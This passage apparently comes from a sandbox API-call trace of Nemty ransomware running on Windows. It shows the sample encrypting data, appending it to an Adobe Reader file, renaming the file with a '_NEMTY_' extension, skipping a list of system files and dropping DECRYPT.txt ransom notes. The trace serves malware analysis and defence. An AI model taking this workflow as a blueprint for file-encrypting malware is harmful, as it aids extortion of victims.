lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aee6e30, dwHighDateTime=0x1d561e8)) [0173.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aee6e30, dwHighDateTime=0x1d561e8)) [0173.283] GetLastError () returned 0xb7 [0173.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.283] GetLastError () returned 0xb7 [0173.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.283] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.283] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.283] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.283] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="u5m662mjbGYUIauBR6UtvHbLZvRKAspx2l+5s1qGKu7YnLrDXheKnY4gb6QBA823\r\nk90uTav578dMZPaCrGyxz0OOPy/syeSIR1OP5wiWgc/oSuBHX4u8uvGMJC70vtLV\r\nUXhFCstv5wi++jyPQElNkg/R9Y6ka/AR4eIoTmvwXFsjPBvqh8m8ALPe23qVsuvq\r\n/3LSA4rnWotGvsKRTuKhrURZTQ5228SA3PZbf0QXyepkc3D5LyQwRF2TVBr4wN1N\r\n3JpAMC7anlpbeETjiZXe1DCSs2PSMbQFyH6Uy1VoVNIc83YLvz3pdevjnDGm5tDL\r\npkzYB/R4FpBR8n9Jfp+fwA==\r\n", pcchString=0x653e5dc) returned 1 [0173.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.284] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=51391) returned 1 [0173.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc8b0) returned 0x6352c48 [0173.284] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.284] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc8b0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xc8b0, lpOverlapped=0x0) returned 1 [0173.289] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.289] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc8b0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xc8b0, lpOverlapped=0x0) returned 1 [0173.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.289] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=51391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc8bf [0173.289] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.289] CloseHandle (hObject=0x3b0) returned 1 [0173.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.290] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html._nemty_kgobjgd_")) returned 1 [0173.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.290] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae9ab70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ae9ab70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aec0cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.290] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.291] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.292] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae9ab70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ae9ab70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aec0cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.292] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.292] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2=".") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="..") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="...") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="windows") returned -1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="$RECYCLE.BIN") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="rsa") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="NTDETECT.COM") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="ntldr") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="MSDOS.SYS") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="IO.SYS") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="boot.ini") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="boot.ini") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="AUTOEXEC.BAT") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="ntuser.dat") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="desktop.ini") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="CONFIG.SYS") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="RECYCLER") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="BOOTSECT.BAK") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="bootmgr") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="programdata") returned 1 [0173.292] lstrcmpiW (lpString1="TUR", lpString2="appdata") returned 1 [0173.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TUR", lpUsedDefaultChar=0x0) returned 3 [0173.293] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.293] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TUR", lpUsedDefaultChar=0x0) returned 3 [0173.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.294] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.294] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.295] CloseHandle (hObject=0x254) returned 1 [0173.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.295] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.296] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.296] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.297] CloseHandle (hObject=0x254) returned 1 [0173.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.297] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aee6e30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aee6e30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.297] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.297] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aee6e30, ftLastAccessTime.dwHighDateTime=0x1d561e8, 